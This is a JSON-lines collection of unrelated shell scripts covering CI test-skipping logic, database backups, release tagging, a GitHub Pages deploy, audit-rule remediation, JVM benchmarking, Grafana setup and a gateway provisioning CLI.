*//p')\n if [ -n \"$TESTS_TO_RUN\" ]; then\n TESTS_TO_SKIP=$ALL_TESTS\n for t in $TESTS_TO_RUN; do\n TESTS_TO_SKIP=${TESTS_TO_SKIP/$t/}\n done\n else\n TESTS_TO_SKIP=$(echo \"$commit_message\" | sed -ne '/^ *Skip-tests:/s/^ *Skip-tests: *//p')\n fi\n\n # temporarily skip the upgrade test\n if [[ $JOB_NAME == upgrade-tests || $JOB_NAME == upgrade-tests/* ]]; then\n fake_test_pass \"upgrade-tests_skipped_soon_to_be_fixed\" \"$WORKSPACE/test_reports/\" ${BUILD_NUMBER}\n exit 1\n fi\n\n for t in $TESTS_TO_SKIP; do\n if [[ $JOB_NAME == $t || $JOB_NAME == $t/* ]]; then\n echo \"skipping this test due to {Run|Skip}-tests pragma\"\n fake_test_pass \"tests_skipped_because_commit_pragma\" \"$WORKSPACE/test_reports/\" ${BUILD_NUMBER}\n exit 1\n fi\n done\n\n tests_required_for_gui_bumps=\"chroma-tests-services\"\n\n if [[ $BUILD_JOB_NAME = *-reviews ]] && gui_bump && [[ ! $tests_required_for_gui_bumps = $JOB_NAME ]]; then\n fake_test_pass \"tests_skipped_because_gui_version_bump\" \"$WORKSPACE/test_reports/\" ${BUILD_NUMBER}\n exit 0\n fi\n\n # regex matches separated by |\n supported_distro_versions=\"7\\.[0-9]+\"\n if [[ ! $TEST_DISTRO_VERSION =~ $supported_distro_versions ]] && ([ -z \"$UPGRADE_TEST_DISTRO\" ] || [[ ! $UPGRADE_TEST_DISTRO =~ $supported_distro_versions ]]); then\n fake_test_pass \"tests_skipped_because_unsupported_distro_$TEST_DISTRO_VERSION\" \"$WORKSPACE/test_reports/\" ${BUILD_NUMBER}\n exit 0\n fi\n} # end of check_for_autopass()"} {"text": "#!/bin/sh\n# SPDX-License-Identifier: GPL-2.0\n#\n\n# Error out on error\nset -e\n\nif [ -r $1/.version ]; then\n\tVERSION=$(expr 0$(cat $1/.version) + 1)\n\techo $VERSION > $1/.version\nelse\n\trm -f $1/.version\n\techo 1 > $1/.version\nfi;"} {"text": "#!/bin/sh\necho \"# Packaging\"\n\n# 以下の動作はSyncToolで行うこと\n# AdobeXD developフォルダにあるプラグインソースをリポジトリに同期\n#echo \"----- sync AdobeXD develop plugin folder. -----\"\n#rsync -av --delete /mnt/c/Users/itouh2/AppData/Local/Packages/Adobe.CC.XD_adky2gkssdxte/LocalState/develop/XdUnityUIExport/ ./XdPlugins/XdUnityUIExport/\n#rsync -av --delete /mnt/c/Users/itouh2/AppData/Local/Packages/Adobe.CC.XD_adky2gkssdxte/LocalState/develop/9SliceHelper/ ./XdPlugins/9SliceHelper/\n#echo \"done.\\n\"\n\n# リポジトリ内から AdobeXDプラグインファイルを作成する\necho \"## make AdobeXD plugin .xdx file.\"\necho \"- XuidUnityExport.xdx\"\n(cd ../Develop/AdobeXdPlugins && zip -q -r ../../Release/XuidUnityExporter.xdx ./XuidUnityExport -x \\*/types/*)\necho \"- 9SliceHelper.xdx\"\n(cd ../Develop/AdobeXdPlugins && zip -q -r ../../Release/9SliceHelper.xdx ./9SliceHelper -x \\*/types/*)\necho \"- RoundRects.xdx\"\n(cd ../Develop/AdobeXdPlugins && zip -q -r ../../Release/RoundRects.xdx ./RoundRects -x \\*/types/*)\necho \"## Sample\"\necho \"- Samples.zip\"\n(cd .. && zip -q -r ./Release/Samples.zip ./Samples)\n#echo \"- unitypackage\"\n#./create_unitypackage.py -r -o XuidUnity.unitypackage ../Develop/UnityProject/Assets/I0plus\necho \"done.\\n\""} {"text": "#!/bin/bash\n# A simple script for taking backup of a db, please be advised that the script will store backups on the same folder as .sh file\nrm -f *.zip #Delete all zip of previous backups\nDATE=$(date +\"%m_%d_%Y\")\nFILENAME=bc_$DATE\nmysqldump -u'username_of_mysql_user' -p'password_of_mysql_user' --lock-tables=false db_name > $FILENAME.sql\nzip -r $FILENAME.zip $FILENAME.sql #Zip a backup file\nrm -f *.sql #Delete .sql files\nmail -a $FILENAME.zip -s \"Backup File of DB name\" < /dev/null"} {"text": "obshtestvo/backup-sys0\n#!/bin/bash\n\n#################################################################\n# #\n# WARNING! #\n# #\n# DO NOT EDIT THIS FILE DIRECTLY! #\n# #\n# It will be overwritten by the version found here: #\n# https://github.com/obshtestvo/backup-sys/tree/master/cont #\n# #\n# To change what is being stored in the backup, read this: #\n# https://github.com/obshtestvo/backup-sys#readme #\n# #\n#################################################################\n\nset -e\n\nBACKUP_DIR=/backup\nLANG=C\nLC_TIME=C\n\numask 0077\n\ncd /tmp\n\nmkdir -p \"$BACKUP_DIR\"\nrm -f \"$BACKUP_DIR\"/*\n\ntar --use-compress-program=pbzip2 -cPf \"$BACKUP_DIR/etc.tar.bz2\" /etc/ /do_backup.sh\ntar --use-compress-program=pbzip2 -cPf \"$BACKUP_DIR/dirs.tar.bz2\" /root/ /var/www/\ntar --use-compress-program=pbzip2 -cPf \"$BACKUP_DIR/logs.tar.bz2\" /var/log/ /var/www/tomcat/logs/\n\nif [ -e /usr/bin/mysql ]; then\n for dbn in `mysql --defaults-file=/etc/mysql/debian.cnf -udebian-sys-maint -L -N -s -e \"show databases\"`; do\n if [ $dbn != performance_schema ]; then\n mysqldump --defaults-file=/etc/mysql/debian.cnf -udebian-sys-maint --single-transaction --add-drop-table --quick --extended-insert --disable-keys --events $dbn |gzip -c > $BACKUP_DIR/$dbn\\.mysql.dump.gz\n fi\n done\nfi\n\nif [ -e /usr/bin/psql ]; then\n for db in `sudo -u postgres -- psql -d template1 -t -c \"SELECT datname FROM pg_catalog.pg_database WHERE datname \"\\!\"~ 'template(0|1)';\"`\n do\n # \"--blobs\" and \"--format=c\" are necessary for dumping the large objects\n sudo -u postgres -- pg_dump --blobs --format=c $db > $BACKUP_DIR/$db.dump\n done\nfi"} {"text": "#!/bin/bash\nmkdir dataset\n#mkdir dataset/HP_HessianPatches\n#wget http://cmp.felk.cvut.cz/~mishkdmy/datasets/HPatches_HessianPatches/_test.pt\n#mv _test.pt dataset/HP_HessianPatches/_test.pt\nmkdir dataset/6Brown\npython -utt gen_ds.py\nmv dataset/*.pt dataset/6Brown\npython -utt train_AffNet_test_on_graffity.py --gpu-id=0 --dataroot=dataset/6Brown --lr=0.005 --n-pairs=10000000 --batch-size=1024 --descriptor=HardNet --arch=AffNetFast --loss=HardNegC --epochs=20 --expname=AffNetFast_lr005_10M_20ep_aswap 2>&1 | tee affnet.log &"} {"text": "test/.mulle/etc/env/environment-global.sh\n#\n#\n#\nexport MULLE_TEST_FLAGS=\"--no-memory-checker\""} {"text": "# !/bin/bash\n\ngit fetch origin ${DEPLOY_BRANCH}\ngit checkout ${DEPLOY_BRANCH}\n\nfind . -maxdepth 1 ! -name \"${STATIC_FOLDER}\" ! -name '.git' ! -name '.gitignore' -exec rm -rf {} \\;\nmv ${STATIC_FOLDER}/* .\nrm -Rf ${STATIC_FOLDER}\n\ntest -f \".nojekyll\" || touch .nojekyll\n\nREMOTE_REPO=\"https://${ACCESS_TOKEN}@github.com/${GITHUB_REPOSITORY}.git\"\ngit add -fA\ngit commit --allow-empty -m \"Updates\"\ngit push ${REMOTE_REPO} ${DEPLOY_BRANCH}\n\necho \"Successfully built and deployed.\""} {"text": "# run the native emulator with coldstart\n# this will wipe the emulated disk!\n./emulator/i386/emulator.exe -c ./cards/COLDSTART-XIII-modified.card -t ./tapes/B5500-XIII-SYSTEM-adc00257.bcd -S"} {"text": "#!/bin/bash\n#SBATCH -J ondemand/sys/myjobs/basic_qchem_slurm\n#SBATCH --nodes=1\n#SBATCH --tasks-per-node 40\n#SBATCH --time=00:30:00\n#SBATCH --exclusive\n#SBATCH --output=job-output\n\n#\n# This is a sample script for running a basic Q-Chem job.\n# The only thing you need to modify is 'sample' here\n#\nexport INPUTFILENAME=\"sample\"\n#\n# replace 'sample' with the actual name of your input file.\n#\nmodule load intel\nmodule load mvapich2\nmodule load qchem\n\n# copy input file to $TMPDIR\ncp $INPUTFILENAME.inp $TMPDIR\ncd $TMPDIR\n\n# QChem guide at\n# http://www.q-chem.com/qchem-website/manual/qchem43_manual/sect-running.html\n#\n# Not all calculation types can be run in parallel with MPI.\n#\n# Temporary hack to get multinode jobs running - it is not yet\n# known whether multinode qchem requires a global filesystem.\n# setenv QCLOCALSCR $TMPDIR\n# export QCSCRATCH=$TMPDIR\n\nqchem -np $SLURM_NPROCS $INPUTFILENAME.inp \nls -al"} {"text": "src/utils/check_pwr.sh\n#!/bin/bash\n\nPWR=\"\"\nif [[ $(grep -c \"utils/privileges\" $(dirname \"$(readlink -f \"$0\")\")/utils/.cache) -gt 0 ]]; then\n PWR=\"sudo\"\nfi\n\necho \"$PWR\""} {"text": "#!/bin/bash\n\nif [ $# -ne 1 ]; then\n\techo \"usage: bumpversion.sh VERSION\"\n\techo \"script will update src/version.h file and add commit to git\"\n\texit 1\nfi\n\nVERSION=$1\n\necho \"bumping version up to $VERSION\"\n\necho \"writing $VERSION to src/version.h...\"\necho \"#define BMPANEL_VERSION \\\"$VERSION\\\"\" > src/version.h\n\necho \"commiting changes...\"\ngit commit -a -m \"Version bump up to $VERSION\"\n\necho \"tagging commit...\"\ngit tag $VERSION"} {"text": "#!/usr/bin/env bash\nfunction panic() {\n\techo $@ >&2\n\texit 1\n}\n\nrootdir=`dirname $0`\n\nprotoc --version &>/dev/null || panic protoc is required.\noutput=(`protoc --version`)\nversion=${output[1]}\nIFS=. read major minor patch <<<$version\nif [[ $major -lt 3 ]]; then\n\tpanic expect protoc 3.0.0+ but got $version.\nfi\n\nwhile read include package name; do\n\tprefix=\"$rootdir/proto/$package\"\n\tinclude=\"$rootdir/proto/$include\"\n\techo building $name.desc\n\tfind \"$prefix\" -name \"*.proto\" | xargs protoc -I \"$include\" -o \"$rootdir/$name.desc\"\ndone < and tag if any\"\n continueprompt\n git branch -d branch-${RELEASE_VERSION}\n if [ $? -ne 0 ]; then\n echo \"Request to forcedly delete existing branch in case of not fully merged\"\n continueprompt\n git branch -D branch-${RELEASE_VERSION}\n fi\n git push upstream --delete branch-${RELEASE_VERSION}\n git tag -d v${RELEASE_VERSION}-incubating\n git push upstream --delete v${RELEASE_VERSION}-incubating\n NEXT_VER_COMMIT_PREFIX=\"Stay version\"\nfi\n\necho \"Preparing to create a branch branch-${RELEASE_VERSION} for release\"\ncontinueprompt\n\ngit checkout -b branch-${RELEASE_VERSION} || { echo \"Create branch failed\"; exit; }\n\nmvn versions:set -DgenerateBackupPoms=false -DnewVersion=${RELEASE_VERSION}-incubating\ngit commit . -m \"Prepare for releasing ${RELEASE_VERSION}-incubating ${RELEASE_CANDIDATE_ID}\"\n\ngit tag -s v${RELEASE_VERSION}-incubating -m \"Releasing ${RELEASE_VERSION}-incubating ${RELEASE_CANDIDATE_ID}\"\n\nrm -rf target/\n\nmvn clean prepare-package -DskipTests -Dremoteresources.skip=true &&\nmvn prepare-package -DskipTests -Dremoteresources.skip=true &&\nmvn deploy -DskipTests -Dremoteresources.skip=true -P apache-release || { echo \"Preparation failed\"; exit; }\n\nRELEASEBASENAME=apache-mnemonic-${RELEASE_VERSION}-incubating-src\nRELEASEFULLNAME=${RELEASEBASENAME}.tar.gz\npushd target || { echo \"Artifacts not found\"; exit; }\nmd5sum ${RELEASEFULLNAME} > ${RELEASEFULLNAME}.md5 || { echo \"Generate md5 failed\"; exit; }\nshasum -a 512 ${RELEASEFULLNAME} > ${RELEASEFULLNAME}.sha512 || { echo \"Generate sha failed\"; exit; }\npopd\n\necho \"Prepared Artifacts:\"\necho `ls target/${RELEASEFULLNAME}`\necho `ls target/${RELEASEFULLNAME}.asc`\necho `ls target/${RELEASEFULLNAME}.md5`\necho `ls target/${RELEASEFULLNAME}.sha512`\necho \"Please upload those artifacts to your stage repository now.\"\ncontinueprompt\n\n#---------------\necho \"Push release branch & label to upstream branch .\"\ncontinueprompt\n\ngit push upstream branch-${RELEASE_VERSION}\ngit push upstream v${RELEASE_VERSION}-incubating\n\necho \"Merge release branch to master & Commit next version <${NEXT_RELEASE_VERSION}-incubating-SNAPSHOT>.\"\ncontinueprompt\n\ngit checkout master\ngit merge --no-ff branch-${RELEASE_VERSION}\nmvn versions:set -DgenerateBackupPoms=false -DnewVersion=${NEXT_RELEASE_VERSION}-incubating-SNAPSHOT\ngit commit . -m \"${NEXT_VER_COMMIT_PREFIX} to ${NEXT_RELEASE_VERSION}-incubating-SNAPSHOT\"\n\necho \"Push release merge and new version to upstream.\"\ncontinueprompt\n\ngit push upstream master"} {"text": "# platform = multi_platform_rhel,multi_platform_ol\n\n# Include source function library.\n. /usr/share/scap-security-guide/remediation_functions\n\n# Perform the remediation of the syscall rule\n# Retrieve hardware architecture of the underlying system\n[ \"$(getconf LONG_BIT)\" = \"32\" ] && RULE_ARCHS=(\"b32\") || RULE_ARCHS=(\"b32\" \"b64\")\n\nfor ARCH in \"${RULE_ARCHS[@]}\"\ndo\n\n\t# First fix the -EACCES requirement\n\tPATTERN=\"-a always,exit -F arch=$ARCH -S .* -F exit=-EACCES -F auid>={{{ auid }}} -F auid!=unset -k *\"\n\t# Use escaped BRE regex to specify rule group\n\tGROUP=\"\\(creat\\|open\\|truncate\\)\"\n\tFULL_RULE=\"-a always,exit -F arch=$ARCH -S creat -S open -S openat -S open_by_handle_at -S truncate -S ftruncate -F exit=-EACCES -F auid>={{{ auid }}} -F auid!=unset -k access\"\n\t# Perform the remediation for both possible tools: 'auditctl' and 'augenrules'\n\tfix_audit_syscall_rule \"auditctl\" \"$PATTERN\" \"$GROUP\" \"$ARCH\" \"$FULL_RULE\"\n\tfix_audit_syscall_rule \"augenrules\" \"$PATTERN\" \"$GROUP\" \"$ARCH\" \"$FULL_RULE\"\n\n\t# Then fix the -EPERM requirement\n\tPATTERN=\"-a always,exit -F arch=$ARCH -S .* -F exit=-EPERM -F auid>={{{ auid }}} -F auid!=unset -k *\"\n\t# No need to change content of $GROUP variable - it's the same as for -EACCES case above\n\tFULL_RULE=\"-a always,exit -F arch=$ARCH -S creat -S open -S openat -S open_by_handle_at -S truncate -S ftruncate -F exit=-EPERM -F auid>={{{ auid }}} -F auid!=unset -k access\"\n\t# Perform the remediation for both possible tools: 'auditctl' and 'augenrules'\n\tfix_audit_syscall_rule \"auditctl\" \"$PATTERN\" \"$GROUP\" \"$ARCH\" \"$FULL_RULE\"\n\tfix_audit_syscall_rule \"augenrules\" \"$PATTERN\" \"$GROUP\" \"$ARCH\" \"$FULL_RULE\"\n\ndone"} {"text": "kobayashi-m42/qiita-stocker-backend\n#!/usr/bin/env bash\n\nsource /home/ec2-user/.bash_profile\n\ncd /home/ec2-user/qiita-stocker-backend\n\ncomposer install --optimize-autoloader"} {"text": "#!/bin/bash\nmvn -Ddocker deploy dockerfile:tag dockerfile:push\necho \"now you can do: \"\necho \"\"\necho \"docker tag factcast/factcast:latest factcast/factcast:\"\necho \"docker push factcast/factcast:\"\necho \"\""} {"text": "jeamking/script\n#!/usr/bin/ksh\n# 功能:安装artifactory插件\n# 参数说明:\n# [参数1]:sa主机名\n\nsaHostName=$1\n\n# 以下配置开发和生产环境配置不一样---\ngetpath=/home/nemo/bin/getpath\n# -----------------------------------\n\nsaScriptHome=$(cd $(dirname $0); pwd)/\nlabelRepo=/tmp/labelRepo/\npluginHome=${labelRepo}getFilePlugin/\nremotePath=\"$($getpath -s $saHostName -d $pluginHome)\"\n\nresult=\"$(cp -r ${saScriptHome}getFilePlugin $remotePath 2>&1)\"\nif [[ -z \"$result\" ]]\nthen\n echo \"installResult:true\"\nelse\n echo \"installResult:false\"\nfi"} {"text": "#!/bin/sh\n# Exercise du on a file with a big time stamp.\n\n# Copyright (C) 2010-2015 Free Software Foundation, Inc.\n\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\n. \"${srcdir=.}/tests/init.sh\"; path_prepend_ ./src\n\nexport LC_ALL=C\nexport TZ=UTC0\n\n# 2**63 - 1\nbignum=9223372036854775807\n\ntouch -d @$bignum future 2>/dev/null &&\nfuture_time=$(ls -l future) &&\ncase \"$future_time\" in\n*\" $bignum \"*)\n : ;;\n*' Dec 4 300627798676 '*)\n skip_ \"file system and localtime both handle big timestamps\" ;;\n*)\n skip_ \"file system or localtime mishandles big time stamps:\" \\\n \"$future_time\" ;;\nesac || skip_ \"file system cannot represent big time stamps\"\n\nprintf \"0\\t$bignum\\tfuture\\n\" > exp || framework_failure_\nprintf \"du: time $bignum is out of range\\n\" > err_ok || framework_failure_\n\ndu --time future >out 2>err || fail=1\n\n# On some systems an empty file occupies 4 blocks.\n# Map the number of blocks to 0.\nsed 's/^[0-9][0-9]*/0/' out > k && mv k out\n\ncompare exp out || fail=1\ncompare err err_ok || fail=1\n\nExit $fail"} {"text": "#!/bin/bash\n# Copyright (c) 2021 Huawei Device Co., Ltd.\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -e\n\nninja_trace()\n{\n if [ \"${NINJA_START_TIME}x\" == \"x\" ]; then\n return\n fi\n #generate build.trace to TARGET_OUT_DIR dir.\n if [ -f \"${TARGET_OUT_DIR}\"/.ninja_log ]; then\n if [ -f \"${BASE_HOME}\"/build/scripts/ninja2trace.py ]; then\n python3 ${BASE_HOME}/build/scripts/ninja2trace.py --ninja-log ${TARGET_OUT_DIR}/.ninja_log \\\n --trace-file ${TARGET_OUT_DIR}/build.trace --ninja-start-time $NINJA_START_TIME \\\n --duration-file ${TARGET_OUT_DIR}/sorted_action_duration.txt\n fi\n fi\n}\n\ncalc_build_time()\n{\n END_TIME=$(date \"+%s\")\n log \"used: $(expr $END_TIME - $BEGIN_TIME) seconds\"\n}\n\nget_build_warning_list()\n{\n if [ -f \"${BASE_HOME}\"/build/scripts/get_warnings.py ];then\n python3 ${BASE_HOME}/build/scripts/get_warnings.py --build-log-file ${TARGET_OUT_DIR}/build.log --warning-out-file ${TARGET_OUT_DIR}/packages/WarningList.txt\n fi\n}\n\ngenerate_opensource_package()\n{\n log \"generate opensource package\"\n if [ -f \"${BASE_HOME}\"/build/scripts/code_release.py ];then\n python3 \"${BASE_HOME}\"/build/scripts/code_release.py\n\n if [ ! -d \"${TARGET_OUT_DIR}\"/packages/code_opensource ];then\n mkdir -p \"${TARGET_OUT_DIR}\"/packages/code_opensource\n fi\n\n cp \"${BASE_HOME}\"/out/Code_Opensource.tar.gz \"${TARGET_OUT_DIR}\"/packages/code_opensource/Code_Opensource.tar.gz -f\n fi\n}\n\nccache_stat()\n{\n if [[ ! -z \"${CCACHE_EXEC}\" ]] && [[ ! -z \"${USE_CCACHE}\" ]] && [[ \"${USE_CCACHE}\" == 1 ]]; then\n log \"ccache statistics\"\n if [ -e \"${LOG_FILE}\" -a -e \"${CCACHE_LOGFILE}\" ]; then\n python3 ${BASE_HOME}/build/scripts/summary_ccache_hitrate.py $CCACHE_LOGFILE | tee -a $LOG_FILE\n fi\n fi\n}\n\npycache_stat()\n{\n log \"pycache statistics\"\n python3 ${BASE_HOME}/build/scripts/util/pyd.py --stat\n}\n\npycache_manage()\n{\n log \"manage pycache contents\"\n python3 ${BASE_HOME}/build/scripts/util/pyd.py --manage\n}\n\npycache_stop()\n{\n log \"pycache daemon exit\"\n python3 ${BASE_HOME}/build/scripts/util/pyd.py --stop\n}\npost_process()\n{\n if [ \"${OPEN_SOURCE}\" == true ];then\n generate_opensource_package\n fi\n\n calc_build_time\n pycache_stat\n pycache_manage\n pycache_stop\n ninja_trace\n ccache_stat\n\n python3 ${BASE_HOME}/build/ohos/statistics/build_overlap_statistics.py --build-out-dir ${TARGET_OUT_DIR} --subsystem-config-file ${BASE_HOME}/build/subsystem_config.json --root-source-dir ${BASE_HOME}\n get_build_warning_list\n echo \"post_process\"\n}"} {"text": "#!/bin/bash -ex\n#\n# The shell commands to run the simple_* example.\n#\n\nSERVER_IP=$RPMA_SOFT_ROCE_IP\nSERVER_PORT=$((62000 + $PMEMUSER_ID))\n\ncd build\n# usage: ./simple_server \n./simple_server $SERVER_IP $SERVER_PORT &\nsleep 1\n# usage: ./simple_client \n./simple_client $SERVER_IP $SERVER_PORT"} {"text": "#!/bin/sh\n\npython -u -W ignore github.py 2>&1 | tee ./out/log.txt"} {"text": "export JAVA_HOME=/Library/Java/JavaVirtualMachines/adoptopenjdk-11.jdk/Contents/Home\nexport PATH=$JAVA_HOME/bin:$PATH\njava -version\nrm -r ./target/classes\nmkdir ./target/classes\njavac -d ./target/classes -s ./src/main/java ./src/main/java/*.java\nrm results/5-jitwatch/*.log\n\necho \"ZipCode with Optional.of().orElseGet():\"\n\n# emitting the bytecode:\njavap -p -c -cp target/classes FunctionalZipCode > results/2-bytecode/FunctionalZipCode.bytecode\n\n# Simply running the benchmark:\njava -cp ./target/classes FunctionalZipCode > results/1-benchmark/functional.txt\n\n# This produces the log JITWatch needs:\njava -Xbatch -XX:+UnlockDiagnosticVMOptions -XX:+TraceClassLoading -XX:+PrintAssembly -XX:+LogCompilation -XX:+UnlockDiagnosticVMOptions -XX:+PrintInlining -cp ./target/classes FunctionalZipCode >/dev/null\nmv hotspot_*.log results/5-jitwatch/hotspot-functional.log\n\n# This shows that the compiler kicks in during the warm-up-phase:\njava -Xbatch -XX:-TieredCompilation -XX:+UnlockDiagnosticVMOptions -XX:+PrintCompilation -cp ./target/classes FunctionalZipCode > results/3-watch-the-compiler/functional-ZipCode-compilation.txt\n\n# generate the Assembly code:\njava -Xbatch -XX:-TieredCompilation -XX:+UnlockDiagnosticVMOptions -XX:+PrintAssembly -cp ./target/classes FunctionalZipCode > results/4-assembler/functional-ZipCode-raw.asm\n\n\necho \"ZipCode with if-statement:\"\n# Simply running the benchmark:\njava -cp ./target/classes ProceduralZipCode > results/1-benchmark/procedural.txt\n\n# emitting the bytecode:\njavap -p -c -cp target/classes ProceduralZipCode > results/2-bytecode/ProceduralZipCode.bytecode\n\n# This produces the log JITWatch needs:\njava -Xbatch -XX:+UnlockDiagnosticVMOptions -XX:+TraceClassLoading -XX:+PrintAssembly -XX:+LogCompilation -XX:+UnlockDiagnosticVMOptions -XX:+PrintInlining -cp ./target/classes ProceduralZipCode >/dev/null\nmv hotspot_*.log results/5-jitwatch/hotspot-procedural.log\n\n# This shows that the compiler kicks in even before the warm-up-phase:\njava -Xbatch -XX:-TieredCompilation -XX:+UnlockDiagnosticVMOptions -XX:+PrintCompilation -cp ./target/classes ProceduralZipCode > results/3-watch-the-compiler/procedural-ZipCode-compilation.txt\n\n# generate the Assembly code:\njava -Xbatch -XX:-TieredCompilation -XX:+UnlockDiagnosticVMOptions -XX:+PrintAssembly -cp ./target/classes ProceduralZipCode > results/4-assembler/procedural-ZipCode-raw.asm\n\necho \"ZipCode with optimized if-statement:\"\n# Simply running the benchmark:\njava -cp ./target/classes OptimizedProceduralZipCode > results/1-benchmark/optimized-procedural.txt\n\n# emitting the bytecode:\njavap -p -c -cp target/classes OptimizedProceduralZipCode > results/2-bytecode/OptimizedProceduralZipCode.bytecode\n\n# This produces the log JITWatch needs:\njava -Xbatch -XX:+UnlockDiagnosticVMOptions -XX:+TraceClassLoading -XX:+PrintAssembly -XX:+LogCompilation -XX:+UnlockDiagnosticVMOptions -XX:+PrintInlining -cp ./target/classes OptimizedProceduralZipCode >/dev/null\nmv hotspot_*.log results/5-jitwatch/hotspot-procedural.log\n\n# This shows that the compiler kicks in even before the warm-up-phase:\njava -Xbatch -XX:-TieredCompilation -XX:+UnlockDiagnosticVMOptions -XX:+PrintCompilation -cp ./target/classes OptimizedProceduralZipCode > results/3-watch-the-compiler/procedural-ZipCode-compilation.txt\n\n# generate the Assembly code:\njava -Xbatch -XX:-TieredCompilation -XX:+UnlockDiagnosticVMOptions -XX:+PrintAssembly -cp ./target/classes OptimizedProceduralZipCode > results/4-assembler/procedural-ZipCode-raw.asm"} {"text": "#!/bin/bash\n\nset -e\n\nIMAGE=${IMAGE:-docker.io/grafana/grafana:7.1.5}\nENGINE=${ENGINE:-podman}\nPORT=$((($RANDOM%64000)+1024))\nDASHBOARD=kube-burner-latest.json\n\nadd_dashboard(){\n echo \"Adding dashboard ${1}\"\n local dashboard='{\"dashboard\": '$(cat ${1})', \"overwrite\": false}'\n url=$(echo \"${dashboard}\" | curl -sS http://localhost:${PORT}/api/dashboards/db -H \"Content-type: application/json\" -u admin:admin -d@- | jq -r .url)\n}\n\n\nadd_datasource(){\n esds='{\n \"name\": \"'${1}'\",\n \"type\": \"elasticsearch\",\n \"access\": \"proxy\",\n \"url\": \"'${2}'\",\n \"database\": \"'${3}'\",\n \"jsonData\": {\n \"esVersion\": 70,\n \"maxConcurrentShardRequests\": 5,\n \"timeField\": \"timestamp\"\n }\n }'\n echo ${esds} | curl -sS http://localhost:${PORT}/api/datasources -H \"Content-type: application/json\" -u admin:admin -d@- -o /dev/null\n}\n\n\nusage(){\n cat << EOF\nUsage: $0 -e http://es.com:9200 [-i index]\n\nOptions:\n -e ElasticSearch instance, i.e. myelastic.com:9200\n -i ElasticSearch index name. Default: \"kube-burner\"\nEOF\nexit 0\n}\n\n\nindex=\"kube-burner\"\nwhile getopts \"e:i:h\" opt; do\n case ${opt} in\n e )\n datasource=$OPTARG\n ;;\n i )\n index=$OPTARG\n ;;\n h )\n usage \n ;;\n \\? )\n exit 1\n ;;\n : )\n echo \"Invalid option: $OPTARG requires an argument\" 1>&2\n exit 1\n ;;\n esac\ndone\n\n${ENGINE} run -d --rm -p ${PORT}:3000 -e GF_AUTH_ANONYMOUS_ENABLED=true ${IMAGE}\nwhile [[ $(curl -s -o /dev/null -w '%{http_code}' http://localhost:${PORT}/api/health) != \"200\" ]]; do \n sleep 1\ndone\n\nadd_datasource \"kube-burner\" ${datasource} ${index}\nadd_dashboard ${DASHBOARD}\necho -e \"Kube-burner dashboard available at:\\nhttp://localhost:${PORT}${url}?from=now-3h&to=now\""} {"text": "# Copyright (c) 2020, Arm Limited and affiliates.\n# SPDX-License-Identifier: Apache-2.0\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n#!/bin/bash\n\nset -e\n\nif [ ! -z \"$DEBUG\" ]; then\n set -x\nfi\n\n. \"$PEP_CLI_DIR/common.sh\"\n\nAPI_URL=\"https://api.us-east-1.mbedcloud.com\"\nGW_URL=\"https://gateways.us-east-1.mbedcloud.com\"\nVERIFICATION_KEY=\"verification-key-does-not-exist\"\nRADIO_CONFIG=\"00\"\nLED_CONFIG=\"01\"\nCATEGORY=\"production\"\nFSS_INTERVAL=\"10s\"\nFSS=\"false\"\nHW_VERSION=\"arm-pelion-edge-gateway\"\n\ncli_help_get_one_identity() {\n echo \"\nUsage: pep get-one-identity []\n\nOptions:\n -a pelion cloud api url (default: '$API_URL')\n -g pelion cloud gateway service address (default: '$GW_URL')\n -s serial number of the gateway. There is no schema enforced on this parameter,\n hence it can be of any length with any alphanumeric and special characters.\n But it has to be unique, server will not provision 2 gateways with the same serial number.\n -w hardware version of the gateway (default: '$HW_VERSION')\n -r radio configuration of the gateway (default: '$RADIO_CONFIG')\n -l status led configuration of the gateway (default: '$LED_CONFIG')\n -c developer or production (default: '$CATEGORY')\n -i ip address of the gateway where factory-configurator-client is running\n -p port number at which factory-configurator-client listening\n -v verbose\n -k Setup Forward secure sealing and generate verification key. interval can be specified with '-e' option. Default interval is 10s\n -e Specify the change interval for the sealing key when generating an FSS key pair.\n -h output usage information\"\n}\n\nsetup_fss() {\n echo \"sudo journalctl --setup-keys --interval=$FSS_INTERVAL\"\n VERIFICATION_KEY=$(sudo journalctl --setup-keys --force --interval=$FSS_INTERVAL | sed -n '1p')\n if [ -z \"$VERIFICATION_KEY\" ]; then\n cli_error \"Error while generating verification key\"\n exit 1\n fi\n}\n\n[ ! -n \"$2\" ] && cli_help_get_one_identity && exit 1\n\nOPTIND=2\n\nQUERY=\"\"\n\nwhile getopts 'a:g:s:w:r:l:c:i:ke:p:hv' opt; do\n case \"$opt\" in\n h|-help)\n cli_help_get_one_identity\n exit 0\n ;;\n a)\n API_URL=\"$OPTARG\"\n ;;\n g)\n GW_URL=\"$OPTARG\"\n ;;\n s)\n SERIAL_NUMBER=\"$OPTARG\"\n ;;\n w)\n HW_VERSION=\"$OPTARG\"\n ;;\n r)\n RADIO_CONFIG=\"$OPTARG\"\n ;;\n l)\n LED_CONFIG=\"$OPTARG\"\n ;;\n c)\n CATEGORY=\"$OPTARG\"\n ;;\n i)\n FCC_IP_ADDRESS=\"$OPTARG\"\n ;;\n k)\n FSS=\"true\"\n ;; \n e) \n FSS_INTERVAL=\"$OPTARG\"\n ;; \n p)\n FCC_PORT=\"$OPTARG\"\n ;;\n v)\n VERBOSE=\"-v\"\n ;;\n *)\n cli_help_get_one_identity\n exit 1\n ;;\n 